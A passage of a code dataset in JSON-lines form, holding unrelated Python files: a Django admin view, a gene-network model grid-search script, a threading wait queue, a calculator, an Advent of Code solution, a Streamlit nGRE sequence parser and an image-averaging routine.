obj,\n \"form\": form,\n \"deleted_objects\": deleted_objects,\n \"perms_lacking\": perms_needed,\n \"opts\": opts,\n \"root_path\": self.admin_site.root_path,\n \"app_label\": app_label,\n }\n context.update(extra_context or {})\n context_instance = template.RequestContext(request, current_app=self.admin_site.name)\n return render_to_response(self.delete_confirmation_template or [\n \"admin/%s/%s/delete_confirmation.html\" % (app_label, opts.object_name.lower()),\n \"admin/%s/delete_confirmation.html\" % app_label,\n \"admin/delete_confirmation.html\"\n ], context, context_instance=context_instance)\n\n # We are overriding it just to change the continue message\n def response_add(self, request, obj, post_url_continue='../%s/'):\n \"\"\"\n Determines the HttpResponse for the add_view stage.\n \"\"\"\n opts = obj._meta\n pk_value = obj._get_pk_val()\n\n msg = _('The %(name)s \"%(obj)s\" was added successfully.') % {'name': force_unicode(opts.verbose_name), 'obj': force_unicode(obj)}\n # Here, we distinguish between different save types by checking for\n # the presence of keys in request.POST.\n if request.POST.has_key(\"_continue\"):\n self.message_user(request, msg + ' ' + _(\"You may now edit it below.\"))\n if request.POST.has_key(\"_popup\"):\n post_url_continue += \"?_popup=1\"\n return HttpResponseRedirect(post_url_continue % pk_value)\n\n if request.POST.has_key(\"_popup\"):\n return HttpResponse('' % \\\n # escape() calls force_unicode.\n (escape(pk_value), escape(obj)))\n elif request.POST.has_key(\"_addanother\"):\n self.message_user(request, msg + ' ' + (_(\"You may add another %s below.\") % force_unicode(opts.verbose_name)))\n return HttpResponseRedirect(request.path)\n else:\n self.message_user(request, msg)\n\n # Figure out where to redirect. If the user has change permission,\n # redirect to the change-list page for this object. Otherwise,\n # redirect to the admin index.\n if self.has_change_permission(request, None):\n post_url = '../'\n else:\n post_url = '../../../'\n return HttpResponseRedirect(post_url)\n\nadmin.site.register(ParkingPage, ParkingPageAdmin)\n","repo_name":"amr/dnsman","sub_path":"parking/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":10327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73163365707","text":"import argparse\nimport gc\nimport sys\nimport itertools\nimport os\n\nimport anndata as ad\nimport numpy as np\nimport pandas as pd\n\nfrom pandas.api.types import is_float_dtype\nfrom sklearn.model_selection import train_test_split\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom supirfactor_dynamical import (\n TimeDataset,\n model_training,\n TruncRobustScaler\n)\n\nfrom inferelator.preprocessing import ManagePriors\nfrom inferelator.postprocessing.model_metrics import MetricHandler\nfrom inferelator.postprocessing import ResultsProcessor\n\nfrom supirfactor_dynamical._utils._adata_load import (\n load_data_files_jtb_2023 as load_data,\n _shuffle_data,\n _shuffle_prior,\n _write\n)\n\nDEFAULT_PATH = \"/mnt/ceph/users/cjackson/inferelator/data/RAPA/\"\nDEFAULT_PRIOR = os.path.join(\n DEFAULT_PATH,\n \"JOINT_PRIOR_20230701.tsv.gz\"\n)\nDEFAULT_GS = os.path.join(\n DEFAULT_PATH,\n \"gold_standard.tsv.gz\"\n)\nDEFAULT_DATA = os.path.join(\n DEFAULT_PATH,\n \"2021_INFERELATOR_DATA.h5ad\"\n)\n\nSLURM_ID = os.environ.get('SLURM_ARRAY_TASK_ID', None)\nSLURM_N = os.environ.get('SLURM_ARRAY_TASK_COUNT', None)\n\nprint(\"Supirfactor-rnn Grid Search\")\nprint(\" \".join(sys.argv))\n\nap = argparse.ArgumentParser(description=\"SUPIRFACTOR-RNN Parameter Search\")\n\nap.add_argument(\n \"-o\",\n \"-O\",\n dest=\"outfile\",\n help=\"Output TSV file prefix\",\n metavar=\"FILE\",\n required=True\n)\n\nap.add_argument(\n \"-f\",\n dest=\"datafile\",\n help=\"Data AnnData file\",\n metavar=\"FILE\",\n default=DEFAULT_DATA\n)\n\nap.add_argument(\n \"-p\",\n dest=\"priorfile\",\n help=\"Prior Network TSV file\",\n metavar=\"FILE\",\n default=DEFAULT_PRIOR\n)\n\nap.add_argument(\n \"-g\",\n dest=\"gsfile\",\n help=\"Gold Standard Network TSV file\",\n metavar=\"FILE\",\n default=DEFAULT_GS\n)\n\nap.add_argument(\n \"--lr\",\n dest=\"lr\",\n help=\"Search Learning Rates\",\n action='store_const',\n const=True,\n default=False\n)\n\nap.add_argument(\n \"--wd\",\n dest=\"wd\",\n help=\"Search Weight Decays\",\n action='store_const',\n const=True,\n default=False\n)\n\nap.add_argument(\n \"--epochs\",\n dest=\"epochs\",\n help=\"NUM Epochs\",\n metavar=\"NUM\",\n type=int,\n default=200\n)\n\nap.add_argument(\n \"--layer\",\n dest=\"layer\",\n help=\"Data AnnData file\",\n metavar=\"FILE\",\n default=\"X\"\n)\n\nap.add_argument(\n \"--skip_static\",\n dest=\"skip_static\",\n help=\"Skip static model training\",\n action='store_const',\n const=True,\n default=False\n)\n\nap.add_argument(\n \"--static_only\",\n dest=\"static_only\",\n help=\"Only static model training\",\n action='store_const',\n const=True,\n default=False\n)\n\nap.add_argument(\n \"--shuffle\",\n dest=\"shuffle\",\n help=\"Shuffle prior labels\",\n action='store_const',\n const=True,\n default=False\n)\n\nap.add_argument(\n \"--shuffle_data\",\n dest=\"shuffle_data\",\n help=\"Shuffle counts to noise data\",\n action='store_const',\n const=True,\n default=False\n)\n\nap.add_argument(\n \"--shuffle_times\",\n dest=\"shuffle_time\",\n help=\"Shuffle time labels on cells\",\n action='store_const',\n const=True,\n default=False\n)\n\nargs = ap.parse_args()\n\ndata_file = args.datafile\nprior_file = args.priorfile\ngs_file = args.gsfile\n_outfile = args.outfile\n\nn_epochs = args.epochs\nlayer = args.layer\n\nif args.shuffle:\n shuffle = 'Prior'\nelse:\n shuffle = 'False'\n\nstatic_meta = True\n\nif SLURM_ID is None:\n outfile_loss = _outfile + \"_LOSSES.tsv\"\n outfile_results = _outfile + \"_RESULTS.tsv\"\n outfile_time_loss = _outfile + \"_FINAL_LOSSES_OVER_TIME.tsv\"\nelse:\n outfile_loss = _outfile + f\"_LOSSES_{SLURM_ID}.tsv\"\n outfile_results = _outfile + f\"_RESULTS_{SLURM_ID}.tsv\"\n outfile_time_loss = _outfile + f\"_FINAL_LOSSES_OVER_TIME_{SLURM_ID}.tsv\"\n\nif args.lr:\n learning_rates = [\n 1e-2, 5e-2, 1e-3, 5e-3, 1e-4, 5e-4, 1e-5, 5e-5, 1e-6, 5e-6\n ][::-1]\nelse:\n learning_rates = [\n 5e-5\n ]\n\nif args.wd:\n weight_decays = [\n 1e-2, 5e-2, 1e-3, 5e-3, 1e-4, 5e-4, 1e-5, 5e-5, 1e-6, 5e-6, 1e-7\n ][::-1]\nelse:\n weight_decays = [\n 1e-7\n ]\n\nbatch_sizes = [\n (250, 20)\n]\n\ndropouts = 0.0\n\noffsets = [\n None\n]\n\nmodels = [\n 'rnn'\n]\n\nseqlens = [\n 20\n]\n\nif args.skip_static:\n do_static = False\nelse:\n do_static = True\n\nif args.static_only:\n static_only = True\nelse:\n static_only = False\n\nseeds = list(range(111, 121))\n\nvalidation_size = 0.25\n\nprint(f\"Loading and processing data from {data_file}\")\nadata = ad.read(data_file)\n\nif args.shuffle_data:\n from inferelator.preprocessing.simulate_data import _sim_ints\n\n def _sim_data(x):\n\n try:\n umi = x.sum(axis=1)\n umi = umi.A1\n except AttributeError:\n pass\n\n try:\n pvec = x.sum(axis=0)\n pvec = pvec.A1\n except AttributeError:\n pass\n\n return _sim_ints(\n pvec / pvec.sum(),\n umi,\n sparse=hasattr(x, 'A')\n )\n\n adata.X = _sim_data(adata.layers['counts'])\n shuffle = 'Data'\n\nif layer == \"X\":\n data = TruncRobustScaler(with_centering=False).fit_transform(\n adata.X\n )\nelse:\n data = TruncRobustScaler(with_centering=False).fit_transform(\n adata.layers[layer]\n ).astype(np.float32)\n\nif args.shuffle_time:\n _shuffle_times = ([-10, 60], [0, 88])\n shuffle = 'Times'\nelse:\n _shuffle_times = ([-10, 0], None)\n\ntime_lookup = {\n 'rapa': (\n adata.obs['program_rapa_time'].values,\n -10, 60, _shuffle_times[0]\n ),\n 'cc': (\n adata.obs['program_cc_time'].values,\n 0, 88, _shuffle_times[1]\n )\n}\n\nprint(f\"Loading and processing priors from {prior_file}\")\n\nprior = pd.read_csv(\n prior_file,\n sep=\"\\t\",\n index_col=0\n).reindex(\n adata.var_names,\n axis=0\n).fillna(\n 0\n).astype(int)\n\ndel adata\ngc.collect()\n\nprior = prior.loc[:, prior.sum(axis=0) > 0].copy()\ng, k = prior.shape\n\nprint(f\"Loading and processing gold standard from {gs_file}\")\ngs = pd.read_csv(\n gs_file,\n sep=\"\\t\",\n index_col=0\n)\n\nprint(f\"Splitting {validation_size} of data into validation\")\ntrain_idx, test_idx = train_test_split(\n np.arange(data.shape[0]),\n test_size=validation_size,\n random_state=100\n)\n\nboth_cols = [\n \"Shuffle\",\n \"Layer\",\n \"Learning_Rate\",\n \"Weight_Decay\",\n \"Seed\",\n \"Static_Batch_Size\",\n \"Dynamic_Batch_Size\",\n \"Sequence_Length\",\n \"Input_Dropout\",\n \"Hidden_Layer_Dropout\",\n \"Output_Layer_Time_Offset\",\n \"Epochs\",\n \"Model_Type\",\n \"Time_Axis\"\n]\n\ndf_cols = both_cols + MetricHandler.get_metric('combined').all_names() + [\n \"R2_training\", \"R2_validation\"\n]\nloss_cols = both_cols + [\"Loss_Type\"]\n\n\ndef prep_loaders(\n static_size,\n dynamic_size,\n random_seed,\n dynamic_sequence_length,\n static_offset=None,\n time_type='rapa'\n):\n\n time_vector, tmin, tmax, shuffle_times = time_lookup[time_type]\n\n _train = data[train_idx, :]\n _test = data[test_idx, :]\n\n try:\n _train = _train.A\n _test = _test.A\n except AttributeError:\n pass\n\n if not do_static:\n static_tdl = None\n static_vdl = None\n\n elif static_offset is None or static_offset == 0:\n static_tdl = DataLoader(\n TimeDataset(\n _train,\n time_vector[train_idx],\n tmin,\n tmax,\n random_seed=random_seed\n ),\n batch_size=static_size,\n drop_last=True\n )\n\n static_vdl = DataLoader(\n TimeDataset(\n _test,\n time_vector[test_idx],\n tmin,\n tmax,\n random_seed=random_seed + 100\n ),\n batch_size=static_size,\n drop_last=True\n )\n\n else:\n static_tdl = DataLoader(\n TimeDataset(\n _train,\n time_vector[train_idx],\n tmin,\n tmax,\n 1,\n sequence_length=1 + static_offset,\n random_seed=random_seed\n ),\n batch_size=static_size,\n drop_last=True\n )\n\n static_vdl = DataLoader(\n TimeDataset(\n _test,\n time_vector[test_idx],\n tmin,\n tmax,\n 1,\n sequence_length=1 + static_offset,\n random_seed=random_seed + 100\n ),\n batch_size=static_size,\n drop_last=True\n )\n\n if static_only:\n dyn_tdl = None\n dyn_vdl = None\n\n else:\n dyn_tdl = DataLoader(\n TimeDataset(\n _train,\n time_vector[train_idx],\n tmin,\n tmax,\n 1,\n sequence_length=dynamic_sequence_length,\n shuffle_time_vector=shuffle_times,\n random_seed=random_seed + 200\n ),\n batch_size=dynamic_size,\n drop_last=True\n )\n\n dyn_vdl = DataLoader(\n TimeDataset(\n _test,\n time_vector[test_idx],\n tmin,\n tmax,\n 1,\n shuffle_time_vector=shuffle_times,\n sequence_length=dynamic_sequence_length,\n random_seed=random_seed + 300\n ),\n batch_size=dynamic_size,\n drop_last=True\n )\n\n return static_tdl, static_vdl, dyn_tdl, dyn_vdl\n\n\ndef _results(\n result_leader,\n results,\n obj,\n model_name,\n tt\n):\n\n if obj:\n _n = obj.training_loss_df.shape[0]\n else:\n _n = 1\n\n _t_lead = pd.concat([pd.DataFrame(\n [result_leader + [model_name, tt, \"training\"]],\n columns=loss_cols\n )] * _n,\n ignore_index=True\n )\n _v_lead = pd.concat([pd.DataFrame(\n [result_leader + [model_name, tt, \"validation\"]],\n columns=loss_cols\n )] * _n,\n ignore_index=True\n )\n\n if obj is not None:\n\n result_line = [model_name, tt] + [\n results.all_scores[n]\n for n in results.all_names\n ] + [\n obj.training_r2,\n obj.validation_r2\n ]\n\n loss_df = pd.concat((\n pd.concat(\n (_t_lead, obj.training_loss_df),\n axis=1\n ),\n pd.concat(\n (_v_lead, obj.validation_loss_df),\n axis=1\n )\n ))\n\n else:\n result_line = [model_name, tt] + [\n results.all_scores[n]\n for n in results.all_names\n ] + [\n None,\n None\n ]\n\n loss_df = None\n\n results = [result_leader + result_line]\n\n if obj is not None and hasattr(obj, \"training_r2_over_time\") and obj.training_r2_over_time is not None:\n\n _n = len(obj.training_r2_over_time)\n _cols = both_cols + [\"Loss_Type\"] + list(range(1, _n + 1))\n\n time_dependent_loss = pd.DataFrame(\n [\n result_leader + _t_lead + obj.training_r2_over_time,\n result_leader + _v_lead + obj.validation_r2_over_time\n ],\n columns=_cols\n )\n\n else:\n\n time_dependent_loss = None\n\n return results, loss_df, time_dependent_loss\n\n\ndef _combine_weights(*args):\n\n weights = args[0].copy()\n\n for a in args:\n weights += a\n\n weights /= len(args)\n\n return weights\n\n\ndef _process_combined(\n result_leader,\n inf_results,\n gs,\n pr,\n model_name\n):\n\n _combined_weights = _combine_weights(\n inf_results['rapa'][0].betas[0],\n inf_results['cc'][0].betas[0]\n )\n\n r, _, _ = _results(\n result_leader,\n ResultsProcessor(\n [_combined_weights],\n [np.maximum(\n inf_results['rapa'][1],\n inf_results['cc'][1]\n )],\n metric=\"combined\"\n ).summarize_network(\n None,\n gs,\n pr,\n full_model_betas=None\n ),\n None,\n model_name,\n 'combined'\n )\n\n return r\n\n\ndef _train_cv(\n lr, wd, sb, db, in_drop, hl_drop, offset,\n seed, prior_cv, gs_cv, model, slen\n):\n\n s_model = \"static\" if not static_meta else \"static_meta\"\n\n print(\n f\"Training model (epochs: {n_epochs}, lr: {lr}, seed: {seed}, \"\n f\"weight_decay: {wd}, input_dropout: {in_drop}, \"\n f\"hidden_dropout: {hl_drop}, static_batch_size: {s_batch}, \"\n f\"dynamic_batch_size: {d_batch}, sequence length {slen}, \"\n f\"prediction_offset: {offset}, dynamic model type: {m}, \"\n f\"static model type: {s_model})\"\n )\n\n result_leader = [\n shuffle,\n layer,\n lr,\n wd,\n seed,\n sb,\n db,\n slen,\n in_drop,\n hl_drop,\n offset,\n n_epochs\n ]\n\n if shuffle == 'Prior':\n prior_cv = ManagePriors.shuffle_priors(\n prior_cv,\n -1,\n seed\n )\n\n results = []\n loss_lines = []\n time_loss_lines = []\n\n inf_results = {k: {} for k in ['static', 'dynamic']}\n\n for tt in ['rapa', 'cc']:\n\n static_tdl, static_vdl, dyn_tdl, dyn_vdl = prep_loaders(\n sb,\n db,\n seed,\n slen,\n static_offset=offset,\n time_type=tt\n )\n\n torch.manual_seed(seed)\n\n if tt == 'rapa' and (static_only or do_static):\n static_obj, static_results, _erv = model_training(\n static_tdl,\n prior_cv,\n n_epochs,\n validation_dataloader=static_vdl,\n optimizer_params={'lr': lr, 'weight_decay': wd},\n gold_standard=gs_cv,\n input_dropout_rate=in_drop,\n hidden_dropout_rate=hl_drop,\n model_type=s_model,\n return_erv=True,\n activation='softplus',\n output_activation='softplus'\n )\n\n r, ll, _ = _results(\n result_leader,\n static_results,\n static_obj,\n s_model,\n tt\n )\n\n results.extend(r)\n loss_lines.append(ll)\n time_loss_lines.append(None)\n\n if not static_only:\n dyn_obj, dynamic_results, _erv = model_training(\n dyn_tdl,\n prior_cv,\n n_epochs,\n validation_dataloader=dyn_vdl,\n optimizer_params={'lr': lr, 'weight_decay': wd},\n gold_standard=gs_cv,\n input_dropout_rate=in_drop,\n hidden_dropout_rate=hl_drop,\n prediction_length=False,\n model_type=model,\n return_erv=True,\n activation='softplus',\n output_activation='softplus'\n )\n\n r, ll, time_loss = _results(\n result_leader,\n dynamic_results,\n dyn_obj,\n model,\n tt\n )\n\n inf_results['dynamic'][tt] = (dynamic_results, _erv)\n\n time_loss_lines.append(time_loss)\n results.extend(r)\n loss_lines.append(ll)\n\n else:\n time_loss = None\n\n if not static_only:\n results.extend(\n _process_combined(\n result_leader,\n inf_results['dynamic'],\n gs_cv,\n prior_cv,\n model\n )\n )\n\n results = pd.DataFrame(\n results,\n columns=df_cols\n )\n\n losses = pd.concat(\n loss_lines\n )\n\n try:\n time_loss_lines = pd.concat(time_loss_lines)\n except ValueError:\n time_loss_lines = None\n\n return results, losses, time_loss\n\n\ndef _write(df, filename, _header):\n if df is None:\n return\n\n # Float precision\n for col in df.columns[~df.columns.isin(both_cols)]:\n if is_float_dtype(df[col]):\n df[col] = df[col].map(lambda x: f\"{x:.6f}\")\n\n df.to_csv(\n filename,\n sep=\"\\t\",\n index=False,\n header=_header,\n mode=\"a\"\n )\n\n\n_header = True\n\nfor j, params in enumerate(\n itertools.product(\n offsets,\n weight_decays,\n learning_rates,\n batch_sizes,\n models,\n seqlens,\n seeds\n )\n):\n\n if SLURM_N is not None:\n _j = j % SLURM_N\n if _j != SLURM_ID:\n continue\n\n in_drop = 0.5\n hl_drop = dropouts\n offset, wd, lr, (s_batch, d_batch), m, slen, i = params\n\n prior_cv, gs_cv = ManagePriors.cross_validate_gold_standard(\n prior,\n gs,\n 0,\n 0.25,\n i\n )\n\n prior_cv = prior_cv.reindex(\n prior.index,\n axis=0\n ).fillna(\n 0\n ).astype(int)\n\n results, losses, time_loss = _train_cv(\n lr,\n wd,\n s_batch,\n d_batch,\n in_drop,\n hl_drop,\n offset,\n i,\n prior_cv,\n gs_cv,\n m,\n slen\n )\n\n _write(results, outfile_results, _header, both_cols)\n _write(losses, outfile_loss, _header, both_cols)\n _write(time_loss, outfile_time_loss, _header, both_cols)\n\n _header = False\n","repo_name":"GreshamLab/supirfactor-dynamical","sub_path":"scripts/count_model_grid_search.py","file_name":"count_model_grid_search.py","file_ext":"py","file_size_in_byte":17326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"3995564011","text":"import threading\n\n\nclass Timeout(Exception):\n '''Raised in the thread when waiting on a queue times out.'''\n\n\nclass WaitQueue:\n '''A holder for threads waiting on asynchronous data.'''\n\n def __init__(self, lock=None):\n self.condition = threading.Condition(lock)\n self.counter = 0\n self.data = None\n\n def wait(self, timeout=None):\n '''Wait for data to become available and return it\n\n If timeout is None, wait indefinitely. Otherwise, timeout if\n the thread hasn't been notified within timeout seconds.\n '''\n with self.condition:\n return self._wait(timeout)\n \n def _wait(self, timeout=None):\n counter = self.counter\n self.condition.wait(timeout)\n if counter != self.counter:\n return self.data\n raise Timeout\n\n def notify_all(self, data):\n '''Notify all waiting threads of the arrival of data.'''\n with self.condition:\n self.data = data\n self.counter += 1\n self.condition.notify_all()\n\n def notify(self, data, n=1):\n '''Notify n waiting threads of the arrival of data.'''\n with self.condition:\n self.data = data\n self.counter += 1\n self.condition.notify(n)\n\n","repo_name":"VOLTTRON/volttron","sub_path":"volttron/platform/agent/multithreading.py","file_name":"multithreading.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":435,"dataset":"github-code","pt":"82"} +{"seq_id":"20914319187","text":"#!/usr/bin/env python3\n\"\"\"\n@author = Paolo Grasso\n\"\"\"\nimport json\n\n\ndef callMethod(str):\n return getattr(sys.module[__name__], str)\n\n\nclass Calculator():\n\n def __init__(self):\n self.exitflag=0\n\n def run(self):\n self.f_list=[\"add\",\"sub\",\"mul\",\"div\",\"exit\",\"printjson\"]\n\n while True:\n x = input(\"What do you want to do?\\n\")\n if (x == \"exit\") or (x == \"quit\"):\n self.exit()\n break\n\n try:\n x=x.split()\n if len(x) != 3:\n raise Exepction()\n\n self.num1=float(x[1])\n self.num2=float(x[2])\n\n if (x[0] not in self.f_list):\n raise Exception()\n\n else:\n function=getattr(self,x[0])\n res=function()\n self.printjson(x[0],x[1],x[2],res)\n break\n\n except:\n print(\"Command not found\")\n\n def add(self):\n return self.num1 + self.num2\n\n def sub(self):\n return self.num1 - self.num2\n\n def mul(self):\n return self.num1 * self.num2\n\n def div(self):\n if (self.num2 == 0):\n return 'ERR div by 0'\n else:\n return self.num1 / self.num2\n\n def exit(self):\n print(\"Quitting program...\")\n self.exitflag=1\n\n def printjson(self, operator, operand1, operand2, result):\n dict = {'operator':operator, 'operand1':operand1,\n 'operand2':operand2,\n 'result':result}\n print(json.dumps(dict))\n pass\n\n\nif __name__ == '__main__':\n mycalculator = Calculator()\n while mycalculator.exitflag == 0:\n mycalculator.run()\n","repo_name":"paolo-26/Programming-for-IoT-Applications","sub_path":"lab1/lab1_es1.py","file_name":"lab1_es1.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3751734512","text":"import sys\nimport copy\n\n\nuser_input = map(lambda line: line.strip(),sys.stdin.readlines())\n\nmonkeys = []\n\nmonkey_str = 'Monkey '\nstarting_str = 'Starting items: '\noperation = 'Operation: new = old '\ntest = 'Test: divisible by '\nif_true = 'If true: throw to monkey '\nif_false = 'If false: throw to monkey '\n\n\n\nfor line in user_input:\n\tif monkey_str in line:\n\t\tassert int(line[len(monkey_str):-1]) == len(monkeys)\n\t\tmonkey = {'index': len(monkeys)}\n\telif starting_str in line:\n\t\tline = line[len(starting_str):]\n\t\tvalues = map(lambda i_str: int(i_str),line.split(', '))\n\t\tmonkey['items'] = list(values)\n\telif operation in line:\n\t\tline = line[len(operation):]\n\t\top, value = line.split(' ')\n\t\ttrue_op = None\n\t\tif op == '+':\n\t\t\ttrue_op = int.__add__\n\t\telif op == '*':\n\t\t\ttrue_op = int.__mul__\n\t\telse:\n\t\t\traise Exception('bad operation')\n\t\tif value != 'old':\n\t\t\tvalue = int(value)\n\t\t\tfun = lambda true_op, value: lambda x: true_op(x,value)\n\t\t\t\n\t\telse:\n\t\t\tfun = lambda true_op, value: lambda x: true_op(x,x)\n\t\tmonkey['operation'] = fun(true_op,value)\n\telif test in line:\n\t\tline = line[len(test):]\n\t\tmonkey['test'] = int(line)\n\telif if_true in line:\n\t\tline = line[len(if_true)]\n\t\tmonkey[str(True)] = int(line)\n\telif if_false in line:\n\t\tline = line[len(if_false)]\n\t\tmonkey[str(False)] = int(line)\n\telse:\n\t\tmonkeys.append(monkey)\n\t\tassert not line\nmonkeys.append(monkey)\n\n\n\nbackupMonkeys = copy.deepcopy(monkeys)\n\n#for part 2\nmodulo_magician = 1\nfor monkey in monkeys:\n\tif modulo_magician%monkey['test']:\n\t\tmodulo_magician *= monkey['test']\n\ndef exercize(iterations,dividedBy = 1):\n\tfor i in range(iterations):\n\t\tfor monkey in monkeys:\n\t\t\twhile len(monkey['items']):\n\t\t\t\titem = monkey['items'].pop(0)\n\t\t\t\tnew_value = (monkey['operation'](item)//dividedBy)%modulo_magician\n\t\t\t\ttested = not (new_value % monkey['test'])\n\t\t\t\tnext_monkey = monkey[str(tested)]\n\t\t\t\tactivity_count[monkey['index']] += 1\n\t\t\t\tmonkeys[next_monkey]['items'].append(new_value)\n\t\n\nactivity_count = [0 for x in monkeys]\nexercize(20,3)\nactivity_count.sort(reverse=True)\nprint(activity_count[0]*activity_count[1])\n\nmonkeys = backupMonkeys\nactivity_count = [0 for x in monkeys]\nexercize(10000)\nactivity_count.sort(reverse=True)\nprint(activity_count[0]*activity_count[1])\n\n\t\n\t","repo_name":"NessunoZero/aoc","sub_path":"aoc-2022/es11/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33948216444","text":"import regex\nimport streamlit as st\nimport pandas as pd\n\nmaximum_mutations = 0\n\ndef main():\n\n global maximum_mutations\n global mismatch_penalty\n global insertion_penalty\n global deletion_penalty\n\n st.title(\"nGRE Parsing\")\n st.write(\"Parse gene sequence for negative glucocorticoid response elements (nGREs)\")\n\n gene_sequence = st.text_area(\"Insert DNA sequence to parse for nGREs\")\n\n maximum_mutations = st.selectbox(\n 'What is the maximum number of mutations in the nGRE consensus sequence that you want to tolerate?',\n ('0', '1', '2', '3'))\n print(\"Maximum mutations in potential nGREs: \", maximum_mutations)\n\n mismatch_penalty = int(st.selectbox(\n 'What do you want the mismatch penalty (number of points subtracted from a subsequence\\'s score for every mismatch mutation) to be?',\n ('1', '2', '3', '0')))\n\n insertion_penalty = int(st.selectbox(\n 'What do you want the insertion penalty (number of points subtracted from a subsequence\\'s score for every insertion mutation) to be?',\n ('1', '2', '3', '0')))\n\n deletion_penalty = int(st.selectbox(\n 'What do you want the deletion penalty (number of points subtracted from a subsequence\\'s score for every deletion mutation) to be?',\n ('1', '2', '3', '0')))\n\n search_string = \"((?e)[Cc][Tt][Cc][Cc][TAGCtagc]?[TAGCtagc]?[TAGCtagc]?[Gg][Gg][Aa][Gg][Aa]){e<=\" + maximum_mutations + \"}\"\n possible_nGREs = regex.findall(search_string, gene_sequence)\n\n nGRE_info_dataframe(possible_nGREs, gene_sequence)\n\ndef nGRE_info_dataframe(possible_nGREs, gene_sequence):\n nGRE_table = pd.DataFrame(columns = [\"sequence\", \"start\", \"end\", \"score\", \"mutations\", \"mismatch\", \"insertion\", \"deletion\"])\n\n nGRE_information = {}\n for nGRE_sequence in possible_nGREs:\n\n comparison = (regex.search(r\"((?e)\" + nGRE_sequence + \"){e<=\" + str(maximum_mutations) + \"}\", str(nGRE_sequence)))\n print(comparison)\n mutation_counts = comparison.fuzzy_counts\n mismatch_count = mutation_counts[0]\n insertion_count = mutation_counts[1]\n deletion_count = mutation_counts[2]\n total_mutations = mismatch_count + insertion_count + deletion_count\n\n nGRE_information[\"sequence\"] = nGRE_sequence\n pos_information = regex.search(nGRE_sequence, gene_sequence)\n\n # find and extract start coordinate from pos_information using regex\n start_coordinate_regex = regex.findall(r\"\\(\\d+,\", str(pos_information))[0]\n start_coordinate = int(regex.findall(\"\\d+\", str(start_coordinate_regex))[0])\n nGRE_information[\"start\"] = start_coordinate\n\n # find and extract end coordinate from pos_information using regex\n end_coordinate_regex = regex.findall(r\" \\d+\\)\", str(pos_information))[0]\n end_coordinate = int(regex.findall(\"\\d+\", str(end_coordinate_regex))[0])\n nGRE_information[\"end\"] = end_coordinate\n\n # find number of mutations in sequence\n comparison = (regex.search(r\"((?e)[Cc][Tt][Cc][Cc][TAGCtagc]?[TAGCtagc]?[TAGCtagc]?[Gg][Gg][Aa][Gg][Aa]){e<=\" + maximum_mutations + \"}\", nGRE_sequence))\n print(comparison)\n mutation_counts = comparison.fuzzy_counts\n mismatch_count = mutation_counts[0]\n insertion_count = mutation_counts[1]\n deletion_count = mutation_counts[2]\n total_mutations = mismatch_count + insertion_count + deletion_count\n\n # return information about number of mutations and scores\n nGRE_score = 9 - insertion_penalty*(insertion_count) - deletion_penalty*(deletion_count) - mismatch_penalty*(mismatch_count)\n nGRE_information[\"score\"] = nGRE_score\n nGRE_information[\"mutations\"] = total_mutations\n nGRE_information[\"mismatch\"] = mismatch_count\n nGRE_information[\"insertion\"] = insertion_count\n nGRE_information[\"deletion\"] = deletion_count\n\n nGRE_table = nGRE_table.append(nGRE_information, ignore_index = True)\n\n st.dataframe(nGRE_table)\n","repo_name":"hewittk/nGRE-senior-project","sub_path":"streamlit_site/nGRE_parse.py","file_name":"nGRE_parse.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39642064123","text":"\"\"\"\nLook routine\n\"\"\"\nfrom __future__ import print_function, division\n\nimport sys,os\nimport getopt\nimport numpy as np\nimport _looks_mod\nfrom pysar.utils.gen_tools import typecomplex\n\n__all__ = ['look','look2D']\n\ndef look(data,win,null=None,verbose=0):\n \"\"\" \n Incoherent averaging (looking) routine\n\n Parameters\n ----------\n data : 2D array\n Input data\n win : int or list\n Filter window size in pixels\n scalar values use a square window\n list should be in order [across, down]\n null : float or complex\n Null value to exclude from filter window\n verbose : int\n 1 = print line counter to screen; 0 = don't\n\n Output\n ------\n D : 2D array\n Filtered data\n \"\"\"\n out = look2D(data=data,win=win,null=null,verbose=verbose)\n return out\n\ndef look2D(data,win,null=None,verbose=0):\n \"\"\"\n Incoherent averaging (looking) routine\n\n Parameters\n ----------\n data : 2D array\n Input data\n win : int or list\n Filter window size in pixels\n scalar values use a square window\n list should be in order [across, down]\n null : float or complex\n Null value to exclude from filter window\n verbose : int\n 1 = print line counter to screen; 0 = don't\n\n Output\n ------\n D : 2D array\n Filtered data\n \"\"\"\n try:\n a = len(win)\n if a == 1:\n d0, d1 = np.int32(win[0]), np.int32(win[0])\n elif a == 2:\n d0, d1 = np.int32(win[0]), np.int32(win[1])\n else:\n print('Incorrect window: must be list length 1 or 2')\n return None\n except:\n d0, d1 = np.int32(win), np.int32(win) \n\n if null:\n donul = 1\n else:\n donul, null = 0, -9.87654321e200\n\n shp = np.shape(data)\n data = data.flatten()\n dtyp = data.dtype\n\n outlen, inlen = (shp[0]//d1)*(shp[1]//d0), shp[0]*shp[1]\n\n if data.dtype == np.float32:\n out = _looks_mod.look2d_real(data,shp[1],d1,d0,outlen,donul,null,verbose)\n elif data.dtype == np.float64:\n out = _looks_mod.look2d_double(data,shp[1],d1,d0,outlen,donul,null,verbose)\n elif data.dtype == np.complex64:\n out = _looks_mod.look2d_cmplx(data,shp[1],d1,d0,outlen,donul,null,verbose) \n elif data.dtype == np.complex128:\n out = _looks_mod.look2d_dcmplx(data,shp[1],d1,d0,outlen,donul,null,verbose) \n else:\n print('Unsupported data type...defaulting to float or complex')\n dtyp = data.dtype\n if typecomplex(data):\n data = data.astype(np.complex64)\n out = _looks_mod.look2d_cmplx(data,shp[1],d1,d0,outlen,donul,null,verbose)\n else:\n data = data.astype(np.float32)\n out = _looks_mod.look2d_real(data,shp[1],d1,d0,outlen,donul,null,verbose)\n out = out.astype(dtyp)\n\n return out.reshape(-1,shp[1]//d0)\n\n\n\n \n \n 